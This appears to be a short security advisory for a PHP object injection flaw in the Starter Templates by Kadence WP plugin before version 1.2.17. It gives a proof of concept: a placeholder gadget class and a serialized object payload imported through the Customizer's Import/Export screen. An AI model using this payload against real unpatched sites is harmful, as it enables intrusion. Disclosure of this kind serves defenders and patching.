Starter Templates by Kadence WP < 1.2.17 - Admin+ PHP Object Injection

Proof of Concept

To simulate a gadget chain, put the following code in a plugin:

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

Create a file named import.dat with the below content and import it (via Appearance > Customize > Import/Export):

O:4:"Evil":0:{};